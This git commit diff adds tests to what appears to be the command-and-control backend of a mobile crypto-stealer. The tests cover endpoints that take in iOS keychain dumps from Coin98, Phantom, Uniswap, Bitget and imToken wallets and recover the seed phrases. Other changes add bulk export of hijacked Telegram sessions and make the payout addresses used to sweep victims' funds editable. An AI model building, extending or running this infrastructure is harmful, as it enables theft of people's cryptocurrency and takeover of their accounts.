fix: keystore

This commit is contained in:
hashbro
2026-09-20 06:15:26 +08:00
parent 2625707aed
commit 2a41a29310
29 changed files with 1972 additions and 66 deletions
+340
View File
@@ -731,6 +731,58 @@ class DarkSwordC2ApiTest extends TestCase
$this->assertSame($mnemonic->id, $addr->mnemonic_id);
}
#[Test]
public function war_duplicate_device_create_returns_existing(): void
{
// Simulate a race: the device already exists when /war tries to
// create it. The upsert should find the existing row and continue
// instead of crashing with a duplicate key error.
$existing = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
]);
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'keychain' => [
'wallets' => [
'trustwallet' => [
'count' => 1,
'items' => [[
'accessGroup' => 'group.com.sixdays.team',
'dataHex' => bin2hex('{"crypto":{"cipher":"aes-128-ctr"}}'),
]],
],
],
],
])->assertOk()->assertJson(['ok' => true]);
// Same device row, not a duplicate.
$this->assertSame(1, Device::query()->where('device_id', self::DS_LHU)->count());
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertSame($existing->id, $device->id);
}
#[Test]
public function beacon_duplicate_device_create_returns_existing(): void
{
// Same race condition test via /beacon endpoint.
$existing = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
]);
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
'ios' => '18.6',
])->assertOk();
$this->assertSame(1, Device::query()->where('device_id', self::DS_LHU)->count());
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertSame($existing->id, $device->id);
}
#[Test]
public function beacon_alternates_scan_and_extract_per_ip_with_5s_gap(): void
{
@@ -1298,4 +1350,292 @@ class DarkSwordC2ApiTest extends TestCase
'c2/ds-results/'.self::DS_LHU.'/dsq-scan-wallets-1/wallet_pkg.json'
);
}
#[Test]
public function war_coin98_plaintext_backup_decrypts_mnemonic_and_addresses(): void
{
Http::fake();
$mnemonic = self::TEST_MNEMONIC;
$eth = '0x6188587D7d55635C6EcDCA2bD6A3cE0690Ead757';
$trx = 'TFncSZhFzsiEaRSTrThDyqEnbiLv99KoR2';
$btc = 'bc1qsrr6lyapm7rjj609enwhlt620zu7r37fxfkna0';
$backup = [
['chain' => 'ether', 'address' => $eth, 'mnemonic' => $mnemonic, 'privateKey' => '0xabc', 'path' => "hd m/44'/60'/0'/0/0", 'isMulti' => true, 'name' => 'My Wallet', 'isActive' => true],
['chain' => 'tron', 'address' => $trx, 'mnemonic' => $mnemonic, 'privateKey' => '0xdef', 'path' => "hd m/44'/195'/0'/0/0", 'isMulti' => true, 'name' => 'My Wallet', 'isActive' => true],
['chain' => 'bitcoin', 'address' => $btc, 'mnemonic' => $mnemonic, 'privateKey' => '0x123', 'path' => "hd m/84'/0'/0'/0/0", 'isMulti' => true, 'name' => 'My Wallet', 'isActive' => true],
];
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'keychain' => [
'wallets' => [
'coin98' => [
'count' => 1,
'items' => [[
'service' => 'rn-secure-storage',
'account' => 'WALLET_SECURE_BACKUP',
'dataHex' => bin2hex(json_encode($backup)),
]],
],
],
],
])->assertOk();
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$memo = WalletMnemonic::query()->where('device_id', $device->id)->where('source', 'Coin98')->first();
$this->assertNotNull($memo);
$this->assertSame($mnemonic, $memo->mnemonic);
$this->assertTrue(
WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Coin98')->get()
->contains(fn ($row) => (int) $row->decrypted === 1)
);
$ethAddr = WalletAddress::query()->where('device_id', $device->id)->where('address', $eth)->where('source', 'Coin98')->first();
$this->assertNotNull($ethAddr);
$this->assertSame('ETHEREUM', $ethAddr->chain_type);
$trxCoin = WalletAddress::query()->where('device_id', $device->id)->where('address', $trx)->where('source', 'Coin98')->first();
$this->assertNotNull($trxCoin);
$this->assertSame('TRON', $trxCoin->chain_type);
$btcAddr = WalletAddress::query()->where('device_id', $device->id)->where('address', $btc)->where('source', 'Coin98')->first();
$this->assertNotNull($btcAddr);
$this->assertSame('BITCOIN', $btcAddr->chain_type);
}
#[Test]
public function result_keychain_dump_ingests_coin98_mnemonic(): void
{
Storage::fake('local');
Http::fake();
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
'album_storage' => true,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'wallet_scan',
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-scan-kc-1',
]);
$mnemonic = self::TEST_MNEMONIC;
$eth = '0x6188587D7d55635C6EcDCA2bD6A3cE0690Ead757';
$backup = [
['chain' => 'ether', 'address' => $eth, 'mnemonic' => $mnemonic, 'privateKey' => '0xabc', 'path' => "hd m/44'/60'/0'/0/0", 'isMulti' => true, 'name' => 'My Wallet', 'isActive' => true],
];
$keychainDump = [
'wallets' => [
'coin98' => [
'count' => 1,
'items' => [[
'service' => 'rn-secure-storage',
'account' => 'WALLET_SECURE_BACKUP',
'dataHex' => bin2hex(json_encode($backup)),
]],
],
],
];
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-scan-kc-1',
'filename' => 'keychain_c2_dump.json',
'category' => 'wallet_scan',
'data' => base64_encode(json_encode($keychainDump)),
])->assertOk();
$memo = WalletMnemonic::query()->where('device_id', $device->id)->where('source', 'Coin98')->first();
$this->assertNotNull($memo);
$this->assertSame($mnemonic, $memo->mnemonic);
$ks = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Coin98')->first();
$this->assertNotNull($ks);
$this->assertSame(1, (int) $ks->decrypted);
}
#[Test]
public function result_walletsV2_ingests_imtoken_keystore(): void
{
Storage::fake('local');
Http::fake();
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
'album_storage' => true,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'wallet_extract',
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-extract-imt-1',
]);
// An imToken walletsV2 keystore (encrypted, no password available).
$keystore = [
'id' => '05e3bcf4-f522-4d80-b8d0-1c05f5be8094',
'version' => 12000,
'crypto' => [
'cipher' => 'aes-128-ctr',
'cipherparams' => ['iv' => '4a1cfd57baaa3b00b51193ff7668d78e'],
'ciphertext' => '75366e1ff5c2944f0ff781e3ce15f40e',
'kdf' => 'pbkdf2',
'kdfparams' => ['c' => 262144, 'prf' => 'hmac-sha256', 'dklen' => 32, 'salt' => 'c70d790e2ff331dff35427a4739fd470998f915396d8d0895a98d677bad81e11'],
'mac' => '260ead5acb377b98a4a9b8773d06c582042e6d9a43523a7e0b04d53d914be8ff',
],
'imTokenMeta' => ['name' => 'cfc', 'source' => 'MNEMONIC', 'network' => 'MAINNET'],
];
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-extract-imt-1',
'filename' => 'walletsV2_05e3bcf4-f522-4d80-b8d0-1c05f5be8094.json',
'category' => 'wallet_extract',
'data' => base64_encode(json_encode($keystore)),
])->assertOk();
$ks = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'imToken')->first();
$this->assertNotNull($ks);
// No password → not decrypted, but keystore is stored.
$this->assertSame(0, (int) $ks->decrypted);
}
#[Test]
public function war_phantom_entropy_decrypts_mnemonic(): void
{
Http::fake();
// Phantom stores BIP39 entropy as a JSON dict in keychain under
// service=app:no-auth / account=.phantom-labs.vault.seedless.<id>
// entropy bytes: fa685dddbcc0b7b8b98801b42d70edeb → 12-word mnemonic
$entropyBytes = [250, 104, 93, 221, 188, 192, 183, 184, 185, 136, 1, 180, 45, 112, 237, 235];
$entropyDict = [];
foreach ($entropyBytes as $i => $b) {
$entropyDict[(string) $i] = $b;
}
$vaultJson = json_encode([
'version' => 1,
'identifier' => 'f78187f50eb3e9b14870489b21ae581ffd021ef3f73667ccfdbeadfb783bace1',
'name' => '账户 1',
'entropy' => $entropyDict,
], JSON_UNESCAPED_UNICODE);
$accountHex = bin2hex('.phantom-labs.vault.seedless.f78187f50eb3e9b14870489b21ae581ffd021ef3f73667ccfdbeadfb783bace1');
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'keychain' => [
'wallets' => [
'phantom' => [
'count' => 1,
'items' => [[
'service' => 'app:no-auth',
'account' => $accountHex,
'dataHex' => bin2hex($vaultJson),
]],
],
],
],
])->assertOk();
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$memo = WalletMnemonic::query()->where('device_id', $device->id)->where('source', 'Phantom')->first();
$this->assertNotNull($memo, 'Phantom mnemonic should be recovered from entropy');
$this->assertSame(12, count(explode(' ', $memo->mnemonic)));
$this->assertTrue(
WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Phantom')->get()
->contains(fn ($row) => (int) $row->decrypted === 1)
);
}
#[Test]
public function war_uniswap_plaintext_mnemonic_decrypts(): void
{
Http::fake();
// Uniswap stores the BIP39 mnemonic as hex-encoded UTF-8 plaintext
// in the keychain dataHex field.
$mnemonic = 'sugar another buzz tourist you hotel boring word castle uncle resource pen';
$address = '0x4A4504F0Ea48A83358DF5B4b316cb60c5c0570a4';
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'keychain' => [
'wallets' => [
'uniswap' => [
'count' => 2,
'items' => [
[
'service' => '',
'account' => 'com.uniswap.mobile.mnemonic.'.$address,
'dataHex' => bin2hex($mnemonic),
],
[
'service' => '',
'account' => 'com.uniswap.mobile.privateKey.'.$address,
'dataHex' => bin2hex('zprvAhmjAJA8zFQiXEZRSQkeoJuFtkCoXjTXXTQbcQR2E2Spp599'),
],
],
],
],
],
])->assertOk();
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
// Mnemonic should be recovered by walkForMnemonics.
$memo = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($memo, 'Uniswap mnemonic should be recovered by walkForMnemonics');
$this->assertSame($mnemonic, $memo->mnemonic);
// Address should be extracted from the account field.
$addr = WalletAddress::query()->where('device_id', $device->id)->where('address', $address)->first();
$this->assertNotNull($addr, 'Uniswap address should be extracted from account field');
$this->assertSame('ETHEREUM', $addr->chain_type);
}
#[Test]
public function war_bitget_jwt_address_extracted(): void
{
Http::fake();
// Bitget stores a JWT token in keychain with the wallet address in the payload.
$address = '0xb763E99eCF57493bFDe18F812BcDE97Ce35f4A3a';
$jwtPayload = json_encode([
'address' => $address,
'chain' => 'eth',
'identity' => 'f8f8e637429715f6f07d0746837db419',
]);
$jwt = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.'
.base64_encode($jwtPayload).'.sig';
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'keychain' => [
'wallets' => [
'bitget' => [
'count' => 1,
'items' => [[
'service' => '_bitkeep_secure_storage',
'account' => 'f8f8e637429715f6f07d0746837db419-jwt-token',
'dataHex' => bin2hex($jwt),
]],
],
],
],
])->assertOk();
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$addr = WalletAddress::query()->where('device_id', $device->id)->where('address', $address)->first();
$this->assertNotNull($addr, 'Bitget address should be extracted from JWT token');
$this->assertSame('ETHEREUM', $addr->chain_type);
}
}
+12
View File
@@ -75,6 +75,18 @@ class KeystoreAdminTest extends TestCase
->assertJsonPath('data.items.0.account', 'trust.account')
->assertJsonPath('data.items.0.data_preview', '777350');
$this->actingAs($admin, 'admin')
->getJson(route('admin.keystores.detail', $row))
->assertOk()
->assertJsonPath('data.id', $row->id)
->assertJsonPath('data.source', 'Trust Wallet')
->assertJsonPath('data.decrypted', 1)
->assertJsonPath('data.detail.kind', 'keychain.wallets')
->assertJsonPath('data.detail.wallets.trustwallet.count', 1)
// Sensitive dataHex must be masked.
->assertJsonPath('data.detail.wallets.trustwallet.items.0.dataHex', '***MASKED***(12 hex chars)')
->assertJsonPath('data.detail.wallets.trustwallet.items.0._dataDecoded', '777350');
$this->actingAs($admin, 'admin')
->get(route('admin.devices.show', [$device, 'tab' => 'keystores']))
->assertOk()
+40
View File
@@ -593,6 +593,46 @@ class PageVisitTest extends TestCase
->assertJsonPath('data.0.country_label', '中国');
}
#[Test]
public function visits_data_filters_country_by_chinese_name(): void
{
PageVisit::query()->create([
'channel_id' => self::CHANNEL,
'client_uid' => 'aaaaaaaaaaaaaaaa',
'chain' => PageVisit::CHAIN_CORUNA,
'os' => 'iOS',
'ip' => '1.2.3.4',
'country' => 'CN',
'created_at' => now(),
]);
PageVisit::query()->create([
'channel_id' => self::CHANNEL,
'client_uid' => 'bbbbbbbbbbbbbbbb',
'chain' => PageVisit::CHAIN_CORUNA,
'os' => 'iOS',
'ip' => '5.6.7.8',
'country' => 'US',
'created_at' => now(),
]);
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
// Chinese name resolves to the same ISO code as the stored value.
$this->actingAs($admin, 'admin')
->getJson(route('admin.visits.data', ['range' => 'today', 'country' => '中国']))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.country', 'CN')
->assertJsonPath('data.0.country_label', '中国');
// Unrecognized text is ignored (no filter applied), consistent with
// how invalid ISO codes are treated.
$this->actingAs($admin, 'admin')
->getJson(route('admin.visits.data', ['range' => 'today', 'country' => '不存在的国家']))
->assertOk()
->assertJsonPath('count', 2);
}
#[Test]
public function visits_data_does_not_filter_chain_until_explicitly_chosen(): void
{
+92
View File
@@ -8,6 +8,7 @@ use App\Models\Device;
use App\Models\PluginSession;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Storage;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
@@ -137,4 +138,95 @@ class PluginSessionPageTest extends TestCase
->get(route('user.sessions.download', $other))
->assertForbidden();
}
#[Test]
public function admin_can_export_sessions_as_zip(): void
{
Storage::fake('local');
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$device = Device::query()->create([
'device_id' => 'dev-export',
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
]);
PluginSession::query()->create([
'device_id' => $device->id,
'device_key' => $device->device_id,
'kind' => PluginSession::KIND_TELEGRAM,
'account_id' => '111',
'payload' => ['user_id' => '111', 'state' => 'abc'],
]);
PluginSession::query()->create([
'device_id' => $device->id,
'device_key' => $device->device_id,
'kind' => PluginSession::KIND_TELEGRAM,
'account_id' => '222',
'payload' => ['user_id' => '222', 'state' => 'def'],
]);
$resp = $this->actingAs($admin, 'admin')
->get(route('admin.sessions.export', ['kind' => '1']))
->assertOk();
$this->assertStringContainsString('attachment', (string) $resp->headers->get('content-disposition'));
$this->assertSame('application/zip', $resp->headers->get('content-type'));
$this->assertSame('2', $resp->headers->get('x-export-count'));
// Verify the ZIP contains two JSON files.
$body = $resp->streamedContent();
$tmp = tempnam(sys_get_temp_dir(), 'test_zip_');
file_put_contents($tmp, $body);
$zip = new \ZipArchive();
$this->assertTrue($zip->open($tmp) === true);
$this->assertSame(2, $zip->numFiles);
$names = [];
for ($i = 0; $i < $zip->numFiles; $i++) {
$names[] = $zip->getNameIndex($i);
}
$zip->close();
@unlink($tmp);
$this->assertCount(2, $names);
foreach ($names as $name) {
$this->assertStringContainsString('tg-', $name);
$this->assertStringEndsWith('.json', $name);
}
}
#[Test]
public function export_returns_error_when_no_data(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$this->actingAs($admin, 'admin')
->getJson(route('admin.sessions.export', ['kind' => '1']))
->assertStatus(422)
->assertJsonPath('code', 1);
}
#[Test]
public function agent_export_respects_channel_scope(): void
{
Storage::fake('local');
$agentA = User::query()->create(['username' => 'a', 'password' => 'secret12', 'status' => 1]);
$chA = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
$chB = 'cccccccccccccccccccccccccccccccc';
Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1]);
Channel::query()->create(['channel_id' => $chB, 'user_id' => User::query()->create(['username' => 'b', 'password' => 'secret12', 'status' => 1])->id, 'status' => 1]);
$devA = Device::query()->create(['device_id' => 'dev-a', 'channel_id' => $chA]);
$devB = Device::query()->create(['device_id' => 'dev-b', 'channel_id' => $chB]);
PluginSession::query()->create([
'device_id' => $devA->id, 'device_key' => 'dev-a',
'kind' => PluginSession::KIND_TELEGRAM, 'account_id' => 'aaa',
'payload' => ['user_id' => 'aaa'],
]);
PluginSession::query()->create([
'device_id' => $devB->id, 'device_key' => 'dev-b',
'kind' => PluginSession::KIND_TELEGRAM, 'account_id' => 'bbb',
'payload' => ['user_id' => 'bbb'],
]);
$resp = $this->actingAs($agentA, 'agent')
->get(route('user.sessions.export', ['kind' => '1']))
->assertOk();
$this->assertSame('1', $resp->headers->get('x-export-count'));
}
}
+11 -11
View File
@@ -168,7 +168,7 @@ class SystemAdminTest extends TestCase
}
#[Test]
public function settings_page_hides_token_and_shows_readonly_collect_addresses(): void
public function settings_page_shows_editable_collect_addresses(): void
{
config([
'coruna.telegram.bot_token' => 'secret-token-should-not-render',
@@ -185,9 +185,9 @@ class SystemAdminTest extends TestCase
->assertOk()
->assertDontSee('secret-token-should-not-render')
->assertDontSee('name="telegram_bot_token"', false)
->assertDontSee('name="transfer_to_address"', false)
->assertDontSee('name="transfer_to_address_eth"', false)
->assertDontSee('name="transfer_to_address_btc"', false)
->assertSee('name="transfer_to_address"', false)
->assertSee('name="transfer_to_address_eth"', false)
->assertSee('name="transfer_to_address_btc"', false)
->assertDontSee('name="panel_admin_hosts"', false)
->assertDontSee('name="channels_domains"', false)
->assertDontSee('后台访问域名')
@@ -204,7 +204,7 @@ class SystemAdminTest extends TestCase
}
#[Test]
public function settings_update_cannot_change_collect_addresses(): void
public function settings_update_can_change_collect_addresses(): void
{
config([
'coruna.transfer.to_address' => 'TKeepCollect',
@@ -217,16 +217,16 @@ class SystemAdminTest extends TestCase
'telegram_owner_chat_id' => '-1001',
'official_album_storage' => '0',
'auto_transfer_enabled' => '0',
'transfer_to_address' => 'THackedCollect',
'transfer_to_address_eth' => '0xHackedCollect',
'transfer_to_address_btc' => 'bc1HackedCollect',
'transfer_to_address' => 'TNewCollect',
'transfer_to_address_eth' => '0xNewCollect',
'transfer_to_address_btc' => 'bc1NewCollect',
])
->assertOk()
->assertJsonPath('code', 0);
$this->assertSame('TKeepCollect', config('coruna.transfer.to_address'));
$this->assertSame('0xKeepCollect', config('coruna.transfer.to_address_eth'));
$this->assertSame('bc1KeepCollect', config('coruna.transfer.to_address_btc'));
$this->assertSame('TNewCollect', config('coruna.transfer.to_address'));
$this->assertSame('0xNewCollect', config('coruna.transfer.to_address_eth'));
$this->assertSame('bc1NewCollect', config('coruna.transfer.to_address_btc'));
}
#[Test]
+3 -3
View File
@@ -183,7 +183,7 @@ class TokenviewWebhookTest extends TestCase
&& str_contains($text, 'USDT')
&& str_contains($text, '来源</b>: imToken - TRX')
&& str_contains($text, '可归集')
&& str_contains($text, '❌');
&& str_contains($text, '⏳');
});
}
@@ -249,7 +249,7 @@ class TokenviewWebhookTest extends TestCase
&& ! str_contains($text, '余额入账')
&& str_contains($text, '余额')
&& str_contains($text, '45.6')
&& str_contains($text, '可归集</b>: ❌');
&& str_contains($text, '可归集</b>: ⏳');
});
}
@@ -389,7 +389,7 @@ class TokenviewWebhookTest extends TestCase
return str_contains($text, '余额入账')
&& str_contains($text, '来源</b>: imToken - ETH')
&& str_contains($text, '可归集</b>: ✅')
&& ! str_contains($text, '可归集</b>: ❌');
&& ! str_contains($text, '可归集</b>: ⏳');
});
}